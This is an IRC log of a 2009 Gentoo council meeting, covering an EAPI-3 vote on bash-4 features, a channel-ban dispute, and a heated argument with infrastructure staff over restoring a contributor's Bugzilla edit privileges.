+16:27 < Arfrever> There are many ebuilds using += ...
+16:27 <@ulm> yes for unlocking, no for bash-4 features in EAPI 3
+16:27 <@dertobi123> i second Betelgeuse, too
+16:29 <@leio> Cardoe, ulm and leio are in favour of re-opening EAPI-3 (some with conditionals); Betelgeuse, lu_zero, dev-zero and dertobi123 are against re-opening EAPI-3.
+16:29 <@ulm> Arfrever: open a bug so they can get fixed
+16:29 <@leio> 4 to 3, lets move on
+16:29 <@Cardoe> 4 to 3.. done. move on
+16:29 <@dev-zero> good
+16:29 < Arfrever> Betelgeuse: Anyway, patches for Portage should be sufficient. Only small amount of people understand file format used by PMS sources.
+16:30 < Arfrever> ulm: I would rather open a bug for PMS being out-of-date...
+16:30 <@lu_zero> Arfrever could work
+16:31 <+ciaranm> pms accurately reflects the official decision made concerning bash-3...
+16:31 <@Betelgeuse> Should have a progmmatically usable bash parser for repoman.
+16:32 <@leio> Arfrever: bash-3.2 and such could be more controversial. bash-4 is pretty clear - it isn't even stable yet, people are saying it only recently still had bugs blocking stabilization and maybe still do, etc
+16:32 < Arfrever> leio: bash-4 works very stably (it only lacks stable keywords).
+16:33 <@lu_zero> Arfrever does it solve something that makes it a necessity?
+16:33 <@leio> I don't particularly agree with this being tied to EAPI's, but EAPI-3 was voted to be still feature-locked, lets move on. Maybe a different discussion approach (untied to EAPI-3) could lead to some interesting discussion
+16:33 <@leio> (on the mailing list)
+16:33 <@dev-zero> jup, agreed
+16:33 < Polynomial-C> The anount of bugs reported to the bash-ml decreased significantly in the last couple of weeks
+16:33 <@leio> meanwhile I suggest people interested to push bash-4 stable
+16:34 <@Betelgeuse> And they can work on GLEP 55 too.
+16:34 < Arfrever> lu_zero: ${variable^^} and associative arrays would allow to solve some problems in some ebuilds maintained by me.
+16:34 < igli> ydiw
+16:34 <@lu_zero> Arfrever good to know please document it and let's start a discussion in ml =)
+16:34 <@ulm> leio: yes, i wouldn't even think about allowing it in the tree before bash-4 is stable on all major archs
+16:34 <@leio> Next topic: Define EAPI development/deployment cycles
+16:35 <@Betelgeuse> For EAPI there's only one bottleneck atm and it's getting Portage to have code.
+16:35 < Arfrever> lu_zero: So I should copy a part of bash-4's ChangeLog/NEWS file?
+16:35 <@Betelgeuse> Otherwise it seems to work fine.
+16:35 <@dev-zero> Arfrever: no, how it can be used in ebuilds
+16:35 <@lu_zero> Arfrever a link probably could fit =)
+16:36 <@dertobi123> leio: that's a non-topic for now from my pov. i'd like to see some discussion on-list before we can discuss something in our meeting.
+16:36 <@dev-zero> Arfrever: or how you'd use it in your ebuilds
+16:37 <@leio> dertobi123: pretty much the same here, just trying to speed things up in the spirit of Cardoe and you getting to sleep and me getting back to doing useful project proposal and code writing :)
+16:37 < Arfrever> dev-zero: ${variable^^} and ${variable,,} allow to avoid using  'tr [[:lower:]] [[:upper:]]' / 'tr [[:upper:]] [[:lower:]]'
+16:37 <@dev-zero> Arfrever: on ml please
+16:37 <@dev-zero> ok, next item
+16:37 <@dev-zero> it's not on the agenda, I'm afraid
+16:38 <@Cardoe> Here it goes then
+16:38 <@Cardoe> igli was banned in this channel by a council member.
+16:38 <@Cardoe> user-rel has asked us to review it
+16:38 <@lu_zero> why he was banned?
+16:38 < Arfrever> dev-zero: So if I provide (in mailing list) examples about using bash-4 features in ebuilds, there will be a chance for repeating voting on this proposition?
+16:38 <@Cardoe> so if anyone has any comments on whether he should be banned or not.
+16:39 < trelane> (assuming this is based on rules of order I'd like to request a few minutes of the coucil's time if permissible on this issue)
+16:39 <@Cardoe> Arfrever: yes.
+16:39 <@Betelgeuse> Cardoe: do you have logs?
+16:39 <@Cardoe> Betelgeuse: I don't
+16:39 <+tanderson> I do.
+16:39 <@dev-zero> and I have excerpts
+16:39 <@lu_zero> provide them please ^^
+16:39 <@dertobi123> ack ...
+16:39 <+tanderson> h/o
+16:39 <@Cardoe> Also council members should consider +q vs +b
+16:40 <@Cardoe> While we wait for the logs...
+16:40 <@dev-zero> http://dev.gentoo.org/~dev-zero/council/igli.txt
+16:40 <@lu_zero> I'd also consider having #-council +m while not used
+16:41 < igli> hmm
+16:41 <@leio> I'd like the channel to stay as a place to freely interact with your elected council members while not in use for other purposes
+16:41 <@dev-zero> jup, me too
+16:41 <+tanderson> http://dev.gentoo.org/~gentoofan23/%23gentoo-council.06-10.log
+16:41 <@Betelgeuse> dev-zero: I don't see the actual ban there.
+16:41 <@Cardoe> I'd be against +m while its not used
+16:41 <@dertobi123> leio: agreed ...
+16:41 <+tanderson> leio: ++
+16:41 <@Betelgeuse> tanderson: permissions
+16:41 <@dertobi123> Betelgeuse: /me too
+16:42 <+tanderson> Betelgeuse: gah
+16:42 <@lu_zero> I saw it squatted lots of times
+16:42 <@lu_zero> but I didn't care much
+16:42 <@leio> The ban happened while igli was not in the channel
+16:42 <@lu_zero> tanderson please make it accessible ^^
+16:42 < igli> yeah 8 hours later.
+16:42 <+tanderson> Betelgeuse: fixed
+16:42 <@dev-zero> Betelgeuse: ok, added
+16:42 <+tanderson> lu_zero: yeah, irssi likes saving it -rw------- apparently
+16:42 <@dertobi123> leio: quite useless ban, then ...
+16:43 <@dev-zero> not really, maybe I can explain
+16:43 <@dertobi123> you should
+16:43 <@dev-zero> good
+16:43 < igli> I said an awful lot more than that very partial excerpt
+16:43 <@dev-zero> the point is that while discussing stuff he repeatedly insults people (whether willingly or not)
+16:43 <@dev-zero> igli: that's true
+16:43 <@dev-zero> igli: this is why there's the log from tanderson and the excerpts from me
+16:44 <+tanderson> igli: the full log is probably a better indication of what went on :)
+16:44 < igli> and others were far more off-topic afaik, tho i have several on /ignore ofc
+16:44 < igli> indeed
+16:44 < igli> and having this sprung on me doesn't exactly make me feel like there's an impartial process going on, for the record.
+16:44 <@dev-zero> the problem is not being off-topic, the problem is that you insult people repeatedly
+16:45 <@Cardoe> I'd say this channel should be opened while not used by council meetings. When used by council meetings, anyone that proves themselves distruptful can find themselves on the +q list. I'm against banning the very people we're suppose to work with and decide on issues.
+16:45 < igli> I insult a lot less than some others. and only when I am being insulted repeatedly
+16:45 <@Betelgeuse> I don't see the council having to be impartial.
+16:45 <@dev-zero> and the reason why I banned him while not being around is because he keeps showing on and doing it again and again
+16:45 <@Betelgeuse> We are not judges.
+16:45 <@dev-zero> Cardoe: fully agree
+16:45 <@Betelgeuse> Cardoe: seems fine
+16:45 < igli> are you not judging my behaviour atm?
+16:45 <@Betelgeuse> dev-zero: As there wasn't anything pressing it would have been prudent to consult with others first.
+16:46 <@Betelgeuse> So we don't have to use council meeting time on these types of things.
+16:46 <@dev-zero> Betelgeuse: true
+16:46 <@dertobi123> Cardoe: agreed
+16:46 <@Cardoe> trelane wishes to say something on igli's behalf. So hopefully, he can say his piece and this won't spiral out of control.
+16:46 <@dev-zero> Betelgeuse: and I'm sorry for that
+16:46 < igli> please note that trelane does not represent me
+16:46 <@Cardoe> You know what. Betelgeuse is right.
+16:46 <@ulm> Cardoe: i agree too
+16:46 <@Cardoe> let's take this to e-mail.
+16:46 <@Cardoe> and be done with it.
+16:46 <@lu_zero> ok
+16:47 <@Cardoe> next item
+16:47 < igli> I thought it had been dealt with in #-user-rel <end>
+16:47 < trelane> Cardoe: I'm fine with that.  Would you mind submitting my comments as my comments to the -council list then?
+16:47 <@Cardoe> trelane: you can e-mail council@gentoo.org if you think it's relevant.
+16:47 <@Betelgeuse> Let's just ack that this wasn't handled in the best way and hopefully the parties involved can get the matter solved.
+16:47 <@dev-zero> igli: it's still in-progress
+16:47 < igli> fine dev-zero, i refer you to what i said in there then.
+16:48 <@Betelgeuse> If there's actually something to vote on then we can get back to the issue.
+16:49 <@Cardoe> ok. any other topics?
+16:49 <@dev-zero> well, next issue would be the EAPI development/deployment cicle
+16:49 <@dev-zero> Cardoe: you said you don't want to have it discussed here
+16:49 <@dev-zero> dertobi123: you made some good comments already
+16:49 <@dev-zero> do we want to discuss it here or not?
+16:49 <@dertobi123> 22:36 <@dertobi123> leio: that's a non-topic for now from my pov. i'd like to see some discussion on-list before we can discuss something in our meeting.
+16:50 <@dertobi123> it would be useful to discuss this on-list to get it rolling
+16:50 <@Betelgeuse> I already said my opinion about EAPI development.
+16:50 <@Betelgeuse> As discussing process won't get code to Portage any faster.
+16:50 <@leio> Maybe we should select someone to make sure the discussion is actually happening
+16:50 <@Betelgeuse> Time better spent coding the actual features.
+16:50 <@dertobi123> as for development ciaranm described a quite useful process it seems which we could try for eapi-4
+16:50 <@dev-zero> leio: agreed
+16:50 <@leio> if there is any to be had
+16:50 -!- igli [n=igli@fu/coder/igli] has left #gentoo-council ["it's not the code it's the borked process. *disgusted at the blatant politicking*"]
+16:51 <@dev-zero> ^^ no comments
+16:51 <+ciaranm> actually... one thing...
+16:51 <@leio> eapi-3 process seemed fine to me with two exceptions - implementation time and too many different places things got recorded
+16:51 < trelane> dev-zero: I've handled firearms for a long time, I can correctly identify when someone has shot themselves in the foot.
+16:51 <@dev-zero> leio: jup, noted
+16:51 <@Cardoe> We can give ciaranm's suggestion a go for eapi-4. But otherwise that all depends on the list.
+16:51 <+ciaranm> i think we might have to move pms off gentoo infrastructure... so what i said, but github instead of bugzilla?
+16:52 <@Cardoe> We keep trying to discuss HOW to do EAPI development.. the issue is writing code.
+16:52 <@dertobi123> ciaranm: for what reason?
+16:52 <+ciaranm> i suspect most people have accounts on github already, and they do bug tracking now...
+16:52 <@Cardoe> discussing and debating everything won't implement code
+16:52 <@ulm> ciaranm: why?
+16:52 <@leio> ciaranm: What has GIT and github to do with anything of that?
+16:52 <+ciaranm> the short story, bug 273759
+16:52 -!- The_Paya [n=the_paya@190.189.19.103] has joined #gentoo-council
+16:52 < Willikins> ciaranm: https://bugs.gentoo.org/273759 "I should be able to edit PMS bugs"; Gentoo Infrastructure, Other; RESO, NEED; ciaran.mccreesh@googlemail.com:infra-bugs@g.o
+16:53 <+ciaranm> the longer version: when we moved to gentoo infra, i was given various assurances by robbat2
+16:53 <@ulm> i'm strictly against this, PMS is central to Gentoo and should be hosted on our infrastructure
+16:53 <+ciaranm> among those being that i wouldn't have to worry about infra dicking around with permissions, privs etc
+16:53 <@dev-zero> ulm: but then all people working on it should have appropriate access
+16:53 <+ciaranm> it looks like infra's no longer prepared to stick to that, so rather than get into an argument with them i think it'd be easier if we just moved elsewhere
+16:53 <@dertobi123> ulm++ and dev-zero++, too
+16:53 <@ulm> dev-zero: that's not a reason to move it away from our infra
+16:53 <+tanderson> ciaranm: just wait a bit for infra to sort things out
+16:54 <+ciaranm> infra have decided that, contrary to what was promised when we moved to gentoo hardware, they're going to screw us around. i don't have time to deal with that.
+16:54 <@leio> I'm not sure ciaranm should have the access that gives him the ability to decide if bugs and PMS requests are valid or not
+16:54 <@Betelgeuse> I can switch bugzilla prives if we vote here.
+16:54 <@dev-zero> ulm: well, we've always been a project with non-developer contributors, moving the project to a neutral platform would guarantee access for everyone
+16:55 <+ciaranm> Betelgeuse: they've already been switched once for that, and they got removed with no-one telling me
+16:55 <+ciaranm> Betelgeuse: oi
+16:55 <+ciaranm> gah
+16:55 <@dev-zero> ulm: but in general I agree with you that PMS is a central project for Gentoo and should be hosted on our infra
+16:55 <+ciaranm> Betelgeuse: i'm sceptical about keeping things on gentoo infrastructure if it's just going to lead to this kind of mess again
+16:55 <@ulm> dev-zero: the access problems can be sorted out
+16:55 -!- hkBst [n=hkBst@gentoo/developer/hkbst] has quit [Read error: 104 (Connection reset by peer)]
+16:55 <@dertobi123> ulm: exactly.
+16:55 <@Betelgeuse> ciaranm: Well if an infra member defies a council decision without having a security etc reason then they need a devrel bug filed.
+16:55 <@dev-zero> ulm: sure, we should just avoid the bureaucracy needed now
+16:55 < reavertm> dev-zero: everyone can clone and send patches already btw
+16:56 <@dev-zero> reavertm: yes, I know
+16:56 <@lu_zero> still I'm not sure what makes one repo different to another
+16:56 <+ciaranm> leio: i already have push access to the pms repo... what's the big deal with bugzilla? not like there's not a reopen button, and the council already came up with a process for what to do if we can't reach agreement on a bug
+16:56 < solar> FYI robbat2 is researching how any perms might of changed. KingTaco said at one point there were perms granted but also noted that any bad behaviors or abuse would lead to perm removal. Nobody in infra so far says there have been any removals.
+16:57 <+ciaranm> solar: well, at one point i could close pms bugs, and now i can't
+16:57 < solar> I don't care about that
+16:57 <@ulm> ciaranm: but you still have commit access to the repo, or did this also vanish?
+16:57 <@leio> ciaranm: sounds good too if gentoo developers are monitoring pms-bugs@ I guess
+16:57 < reavertm> ciaranm: maybe you need to send ebuild quiz :)
+16:57 <+ciaranm> ulm: i did a week ago
+16:57 <@Cardoe> reavertm: unnecessary
+16:57 <+ciaranm> leio: i hope they are...
+16:57 < solar> point is you have not shown where perms were granted. And any user claiming I should have more perms than I have now.. Is treated the same way
+16:57 <@ulm> Cardoe: and any evidence that you don't anymore?
+16:57 <@ulm> sorry
+16:58 <@ulm> ciaranm: ^^
+16:58 < solar> so why don't you either work with us as requested. Or wait till it's sorted out
+16:58 <+ciaranm> ulm: i'm assuming i still have git repo access. it's bugzilla that's the problem.
+16:58 <@Betelgeuse> Wasn't this already discussed at some point and someone was supposed to be watching the access for possible misuse?
+16:58 <+ciaranm> Betelgeuse: yup
+16:58 <+ciaranm> Betelgeuse: and considering the number of people watching the pms alias...
+16:59 <+ciaranm> solar: the only question is why permissions that i had mysteriously vanished
+16:59 <@Cardoe> ok. this looks like silly politics with someone screwing with ciaranm's access and a non-council issue really. Just fix it and lets move on.
+16:59 <@dertobi123> Cardoe++
+16:59 <+ciaranm> Cardoe: the "fix it" bug's been closed off without it being fixed
+16:59 <@ulm> Cardoe: +1
+16:59 < solar> I don't care about that question. that is not what the bug was filed for.
+16:59 <@dev-zero> Cardoe: fully agree
+16:59 <@Betelgeuse> Ok let's vote on turning on editbugs back on. This means ciaranmn can edit bugs in all products.
+16:59 <@Betelgeuse> It will be revoked if misused like usual.
+16:59 <@dev-zero> jup
+16:59 <@lu_zero> ok
+16:59 <@dev-zero> I vote yes
+16:59 <@Betelgeuse> We already give editbugs to potential new bug wranglers etc.
+16:59 < solar> if they are lost. Then how did that happen
+16:59 <@Betelgeuse> I vote yes.
+17:00 <@dertobi123> yes too
+17:00 <@ulm> yes
+17:00 <@Cardoe> Just give him the access.
+17:00 < solar> no. You are not going to bypass infra procedures
+17:00 <@leio> who's following that mail alias with bugzilla means?
+17:00 <@lu_zero> solar which is the procedure?
+17:00 <@Betelgeuse> solar: I already have the power to do that as far as I know.
+17:00 <@leio> (err, not alias, mail address)
+17:00 < solar> what did I say at first? robbat2 is researching it
+17:00 <@dev-zero> Betelgeuse: just do it
+17:00 < solar> no
+17:00 <@Betelgeuse> solar: The standing policy has been to give users who do a lot of bugzilla useage powers.
+17:00 <+ciaranm> i had editbugs way before i became a dev, btw
+17:00 <+ciaranm> on everything, not just pms stuff
+17:02 <@Betelgeuse> solar: If you have some written policy somewhere please post a link.
+17:02 <@Betelgeuse> For now editbugs are back. Infra is free to do research on PMS restricted powers of course.
+17:02 <+ciaranm> thanks
+17:02 <@leio> it seems ciaranm just needs to point infra people to some supposedly already happened decision by council that he should have such access, to solve that bug. Of course another option is to give a new access if desired
+17:02 < solar> Betelgeuse: you just abused your perms
+17:03 < solar> and you should not of done that. That is not why you had bugzilla perms
+17:03 <@Cardoe> Do we have any real topics to discuss anymore?
+17:03 <@leio> apparently not, that were on agenda, anyway
+17:03 <@dertobi123> as for the eapi-development stuff can we agree on the process described by ciaranm on -dev list?
+17:03 <@dev-zero> I'd say so, yes
+17:04 <@Betelgeuse> solar: I have been giving possible recruits editbugs for ages with infra blessing.
+17:04 <@dertobi123> for eapi-deployment i'll try to keep the discussion going on
+17:04 < Arfrever> solar: In which bug did he abuse his permissions?
+17:04 <@dev-zero> dertobi123: cool, thanks
+17:04 <@Betelgeuse> solar: some issue.
+17:04 <@Betelgeuse> s/some/same/
+17:04 < solar> Betelgeuse: you oversteped the bounds.
+17:04 <@Betelgeuse> solar: If you think so feel free to vote inside infra.
+17:04 <+ciaranm> i wasn't aware there were bounds on a council vote
+17:04 <@dev-zero> jup, me neither
+17:04 <@Betelgeuse> solar: And present a new policy to replace GLEP 39 for developers.
+17:05 <@Betelgeuse> Or recruiting.
+17:05 < solar> This is not a normal case in any such way
+17:05 <@dev-zero> it would be nice to know who removed those perms in the first place without announcement anyway
+17:05 <@lu_zero> or why
+17:06 <@Betelgeuse> I will find in the logs when this was first discussed.
+17:06 <@dev-zero> ok then
+17:07 <@Betelgeuse> If I can figure out proper grep terms.
+17:07 <@dev-zero> meetings is over
+17:07 <@leio> I think solar's point is something along the lines of the latest proven evidence related to this having been the council or devrel decision to revoke ciaranm developer privileges and force-resign
+17:08 <+ciaranm> leio: i was given those privs way after that
+17:08 <+ciaranm> leio: as you can see by looking at those pms bugs i closed last year
+17:08 <@lu_zero> ciaranm and then when they got removed?
+17:08 < spatz> solar just wants you to prove that and be done with it
+17:08 <@leio> do you remember by whose decision were they given back? Is there a record of it?
+17:09 <+ciaranm> lu_zero: sometime after that. i didn't notice for a while since we don't generally close pms things often until new EAPIs come along
+17:09 <@leio> I'm not sure I care either way as long as you are being monitored as told, but these things would seem to speed things up, which you seem to wish
+17:09 < solar> I wanted to allow Robbat2 to do his research. Now that you went and messed with perms. Timestamps in bugzilla has changed.
+17:09 < solar> now I gotta have a BS meeting about if Betelgeuse should be allowed to retain any extra perms in bugzilla
+17:09 <@lu_zero> sigh...
+17:10 <@leio> ok, then I thought wrong above
+17:10 <+ciaranm> leio: unfortunately a lot of it's in private emails, including the part where i was promised that people wouldn't mess around with permissions like this
+17:10 <@lu_zero> ciaranm looks like you were expecting that
+17:11 <+ciaranm> lu_zero: when we moved, yes, i was expecting certain people in infra to dick around. i was given promises that they wouldn't. unfortunately, i can't provide those emails since they're private.
+17:11 <@lu_zero> ciaranm bad =\
+17:11 < NeddySeagoon> ciaranm, there was discussion here before PMS moved
+17:11 <@dev-zero> anyway, the decision to give ciaranm back the permissions where backed by the councils decision
+17:11 < solar> One thing is for sure. Nobody in infra is going to just randomly remove perms
+17:12 <@lu_zero> dev-zero you have the link to the council log about that?
+17:12 <@lu_zero> (just for reference)
+17:12 <@dev-zero> lu_zero: we just did, above?
+17:12 <@dev-zero> lu_zero: I was referring to that
+17:12 <@lu_zero> I mean before
+17:12 <@Betelgeuse> this is what I found so far bug nothing better yet: <04.05.2009 14:23> < ciaranm> could someone please either tidy up the pms bug list or find out why i'm mysteriously unable to do so yet again?
+17:12 <@dev-zero> lu_zero: no, sorry
+17:13 < solar> that was not in the agenda, there was an open bug in which a team was doing research.
+17:13 -!- The_Paya [n=the_paya@gentoo/developer/thepaya] has quit [Read error: 60 (Operation timed out)]
+17:13 < solar> so sorry but you are mostly all in the wrong here
+17:13 <@lu_zero> and looks like the time is up ...
+17:13 <@dev-zero> jup, I already announced the meeting to be over :)
+17:13 < solar> and I hope that our devs vote properly for a better council next time around
+17:13 <+ciaranm> *shrug* i don't really mind either way. but if infra decides it's going to ignore the council, i have no objections to moving to github if that'd work for everyone else.
+17:13 <@lu_zero> Betelgeuse you used to be less rushy =P
+17:14 <@dev-zero> solar: thanks for the flowers then
+17:14 < NeddySeagoon> ciaranm, when did you notice your permissions had changed ?
+17:15 <@Betelgeuse> Now let's see if I can search bugzilla for bugs marked as resolved by ciaranm but not reported by him
+17:15 <@dev-zero> ok, time's definetely up
+17:15 <+ciaranm> NeddySeagoon: few months back
+17:15 <@leio> it seems some topic popped up suddenly without it being on the agenda, and it even went as far as to an uninformed quick vote
+17:16 <@dev-zero> leio: jup, it did during the eapi devel/deploy topic
+17:16 < NeddySeagoon> ciaranm, so another day or so while -infra search logs is nethier here nor there.
+17:16 <@leio> so why did we vote on this uninformed exactly? Something to keep in mind while trying to reform things then
+17:17 -!- Irssi: Topic: -: Meeting started | Agenda is here: http://dev.gentoo.org/~dev-zero/council/meeting-agenda-20090611.txt
+17:17 -!- Irssi: Topic: +: Meeting of June 11 is over | Next Meeting: Thursday June 25 20:00 UTC
+17:17 -!- dev-zero changed the topic of #gentoo-council to: Meeting of June 11 is over || Next Meeting: Thursday June 25 20:00 UTC
+17:17 <+ciaranm> NeddySeagoon: the issue's about whether i have to get involved with the gentoo infra power-play or not. i only agreed to move to gentoo infra because i was assured that i wouldn't have to worry about any of that mess.
+17:17 <@Betelgeuse> https://bugs.gentoo.org/show_activity.cgi?id=217492
+17:17 <@Betelgeuse> This shows ciaranm having them at least a year ago
+17:17 <@dev-zero> leio: because there were some people agreeing on that and wanted something to happen so people can continue to work
+17:17 < NeddySeagoon> ciaranm, you don't. but they should be given time to look at logs to see who did what and when
+17:18 <@leio> dev-zero: all at the same time as information was trying to be given, yes
+17:18 <@dev-zero> leio: it got fast a little, yes
+17:18 <+ciaranm> NeddySeagoon: the council already voted to give me editbugs, and infra are blocking it. this is exactly the kind of mess i was assured wouldn't happen.
+17:18 <@leio> when did that voting happen, except today?
+17:19 < NeddySeagoon> ciaranm, As solar said, infra are looking into why the perms changed.
+17:20 -!- WilliamH [n=william@gentoo/developer/williamh] has left #gentoo-council []
+17:21 <+ciaranm> NeddySeagoon: sure. and in the mean time, the council voted to give me editbugs, Betelgeuse gave me editbugs and i don't appear to have editbugs.
+17:21 -!- maekke [n=maekke@gentoo/developer/maekke] has quit [Client Quit]
+17:21 <@Betelgeuse> heh clicked the wrong place
+17:21 <@lu_zero> uff
+17:21 <@Betelgeuse> stupid me
+17:22 <+ciaranm> ah, ok, thanks
+17:22 < trelane> Betelgeuse: remind me to never give you a pistol to shoot :/
+17:22 <@lu_zero> ciaranm could you wait a day or two?
+17:22 <@Betelgeuse> trelane: I have used a lot of weapons.
+17:22 <@Betelgeuse> trelane: Mandatory conscription and all.
+17:22 < trelane> Betelgeuse: and the mouse is the only point-and-click interface you have problems with? :)
+17:22 < trelane> aah :)
+17:23 <+ciaranm> lu_zero: sure
+17:23 <@Betelgeuse> Well you can do civil service too but any way.
+17:23 -!- The_Paya [n=the_paya@190.189.19.103] has joined #gentoo-council
+17:23 <@Betelgeuse> ciaranm: ok let's wait a couple of days then
+17:23 <@lu_zero> so you wouldn't mind if they spend some time sorting out what happened
+17:23 <+ciaranm> lu_zero: if they're going to, that's fine. if they're just going to leave it with solar's resolution, then no.
+17:24 <@dev-zero> tanderson: still around?
+17:24 <@Betelgeuse> trelane: I am in a flu so I just misread the edit* privs.
+17:24 < NeddySeagoon> ciaranm, Solar said it was under investigation ... thats not resolved
+17:24 <@Betelgeuse> NeddySeagoon: Then the bug should be open.
+17:24 <+ciaranm> NeddySeagoon: solar's closed off the bug too though
+17:24 <@leio> Betelgeuse: so the timestamps weren't touched or something?
+17:24 < Calchan> ciaranm, you should seriously consider that sometimes shit happens and that not everything is a conspiracy against you
+17:24 <@Betelgeuse> leio: Dunno how it works bug I did change other lines.
+17:25 <@dev-zero> Calchan: he didn't assume that
+17:25 <+ciaranm> Calchan: are we aware of other people's bugzilla privs vanishing?
+17:25 <@Betelgeuse> leio: And it's by now changed probably.
+17:25 < Calchan> ciaranm, invalid point
+17:26 <+ciaranm> Calchan: well, i had privs, and then i didn't, and infra tried to close the bug off without fixing it
+17:26 < trelane> Betelgeuse: swine flu? (suddenly wishing linux had anti-virus...)
+17:26 -!- ssuominen [n=ssuomine@gentoo/developer/ssuominen] has quit [Remote closed the connection]
+17:26 < Calchan> ciaranm, see above
+17:26 <+ciaranm> Calchan: i don't really mind either way if that's what infra wants to do, but if they do, i need to find a new home for pms that's acceptable for everyone
+17:26 <@dev-zero> Calchan: see the bug
+17:26 <@dev-zero> Calchan: the bug got "resolved"
+17:27 < Calchan> dev-zero, so what ?
+17:27 < NeddySeagoon> ciaranm, so gibe infra a wee while to find out what happened
+17:27 < Calchan> let's cool down
+17:27 < NeddySeagoon> give*
+17:27 <+ciaranm> NeddySeagoon: infra were trying to close it off without fixing it until the council intervened
+17:27 < solar> No
+17:27 < spatz> so have an entire council meeting about bugzilla permissions
+17:27 <@dev-zero> Calchan: well, the message in the bug was "ciaran provide info why you had that perms anyway" and not "sorry, we're investigating it"
+17:27 <@lu_zero> spatz the leftovers
+17:28 < solar> anybody that is on #infra should see the chat we were already in the process of having
+17:28 <@Betelgeuse> I need to go sleep to get better.
+17:28 < NeddySeagoon> ciaranm, Wait for -infra to find out what happened and why
+17:28 <@lu_zero> Betelgeuse take care and rest well
+17:28 < Calchan> dev-zero, it's a legitimate request from somebody who obviously didn't know the whole story, does that make it a conspiracy ?
+17:28 < Polynomial-C> spatz, the meeting finished already.
+17:29 <@dev-zero> Calchan: huh?
+17:29 <@dev-zero> Calchan: what request?
+17:29 <@leio> dev-zero: maybe that information should be provided then as asked? When I ask users something I often mark the bug NEEDINFO while waiting for an answer (or an answer telling they can't give one)
+17:29 < hwoarang> get well soon Betelgeuse
+17:29 < spatz> i know that, i was referring to how the meeting was suddenly off the agenda
+17:29 < Calchan> dev-zero, request for providing info
+17:29 <+tanderson> dev-zero: sorta
+17:29 <@dev-zero> Calchan: when the user says "I had foo but then foo vanished"?
+17:30 <@dev-zero> Calchan: did you work in support once?
+17:30 < NeddySeagoon> dev-zero, we see that on the forums :)
+17:30 < Calchan> dev-zero, ah, btw yes
+17:30 <@dev-zero> Calchan: you don't ask "why did you have foo in the first place"
+17:30 <+ciaranm> hey! it was "I had foo, as you can see from this clear evidence, and now I don't, as I can see from not being able to do blah"
+17:30 < yngwin> false analogy
+17:30 < solar> You ask such things when somebody was kicked out of gentoo. dunno what 2.5 times
+17:31 <@dev-zero> tanderson: you might have to proxy for me next time
+17:31 <@dev-zero> solar: it doesn't matter
+17:31 < solar> yes it does
+17:31 <+tanderson> dev-zero: might have to work that out with Cardoe to see if he's going to be missing
+17:31 < solar> it's our job to make sure that we do the right thing.
+17:31 < Calchan> dev-zero, cool down, I was just saying that we should give this thing more importance than it deserves, and just work to solve the matter
+17:31 < NeddySeagoon> ciaranm, yep but the reasoning is missing. Thats what infra are looking at.  Then you may get your foo back
+17:31 < Calchan> s?should/shouldn't/
+17:32 <+ciaranm> NeddySeagoon: only infra have access to that reasoning, afaik
+17:32 <@dev-zero> Calchan: I agree, but closing that bug with a pretty arrogant statement is not how things should work
+17:32 <+ciaranm> NeddySeagoon: from what i've seen of bugzilla on other sites, there's a log of permission changes but it's only accessible to people with superpowers
+17:32 < Calchan> dev-zero, a bitchy dev doesn't a conspiracy make ;o)
+17:32 < solar> and bypassing a team which was doing research is somehow the right thing?
+17:32 < NeddySeagoon> ciaranm, Probably.  Are you suggesting there will not be an honest report ?
+17:32 <@dev-zero> Calchan: I don't talk about conspiracy
+17:33 <+tanderson> just calm down guys, I doubt there's a conspiracy and ciaran will get to do his pms stuff in a day or two
+17:33 <+tanderson> It's really not a big deal at all
+17:33 < Calchan> dev-zero, you're right, I did, but I guess you know what I meant
+17:33  * reavertm agrees
+17:33 <+ciaranm> NeddySeagoon: all i really care about is whether i'm going to have to go through this mess all over again in another few months if i don't find a new home for pms
+17:33 < solar> tanderson: and you can see from the infra chat that there may be a few ways it could of happened. Including user error
+17:33 <+ciaranm> NeddySeagoon: i'd really rather not have to get involved in yet another council / infra power struggle
+17:33 <@dev-zero> Calchan: I talk about infra providing a service and guessing from the comments some let their personal feelings come in their usually nearly perfect way of maintaining stuff
+17:34 < NeddySeagoon> ciaranm, how many times have you lost perms since PMS moved to gentoo hardware ?
+17:34 <+tanderson> solar: true, thanks. I don't think he's done email addr changes in a while however
+17:35 <+ciaranm> NeddySeagoon: once since, and i've also had permissions revoked by infra despite an explicit council order for them not to before we moved pms there, which is why i asked for guarantees before moving pms
+17:35 <@dev-zero> Calchan: and we wouldn't have this whole discussion if people would have handled that request with respect
+17:35 < Calchan> ciaranm, remember that access to gentoo infra is a privilege, so ask nicely and behave adequately and there's no reason you don't get all the access you require to work on pms
+17:35 <+ciaranm> Calchan: i had that access, and it vanished, and infra tried to refuse to give it back
+17:36 <+tanderson> bye guys, my garden needs work. But remember, it'll all get sorted out in the end and it'll likely not happen again
+17:36 -!- You're now known as tanderson|na
+17:36 <+ciaranm> Calchan: which, again, is entirely up to infra, and i'm quite happy to move pms somewhere else that's acceptable to everyone involved if infra decide to do that
+17:36 < NeddySeagoon> ciaranm, so wait for the investigation.  Its no big deal long term.  Nobody is immune for finger trouble, your 'guarantees' won't cover that
+17:37 <+ciaranm> NeddySeagoon: now that the investigation is happening, i'm happy. until the council got involved, though, there wasn't an investigation and it was being brushed under the carpet.
+17:37 <@leio> oh, btw, apparently PMS is not a draft standard of EAPI-0 or something
+17:37 -!- ssuominen [n=ssuomine@i062213.gprs.dnafinland.fi] has joined #gentoo-council
+17:37 < Calchan> ciaranm, and you explained your problem and you got you edit privs back (although it's not there technically you got a positive council vote), no reason to make more fuss about it
+17:37 < reavertm>  please all stop this soap opera, let infra do their investigation
+17:38 <+ciaranm> leio: "or something"? details please?
+17:38 < solar> ciaranm: that is not true at all
+17:38 <@leio> I believe the requirements listed at http://www.gentoo.org/proj/en/council/meeting-logs/20080911-summary.txt have not been met
+17:38 < NeddySeagoon> ciaranm So, let it cool a little.  The only thing I would like to see is a target date for the investigation to complete
+17:38 <+ciaranm> leio: er, all of those were met a long time ago
+17:39 <+ciaranm> NeddySeagoon: like i said, i'm happy
+17:39 <@leio> good, where's the documentation?
+17:39 <+ciaranm> in the pms intro
+17:39 < NeddySeagoon> ciaranm, I've never heard you say that before :)
+17:39 <+ciaranm> NeddySeagoon: you weren't around in the good old days when i would sing "happy happy joy joy" all the time?
+17:40 < NeddySeagoon> ciaranm, Nope, you had left just before I became a staffer
+17:41 <@leio> ok, sounds good. I suggest for the PMS editors to document some of that in the project page as well, or point to the intro for these things
+17:41 <+ciaranm> leio: you'll need to find out who has permission to edit the pms page this week for that part
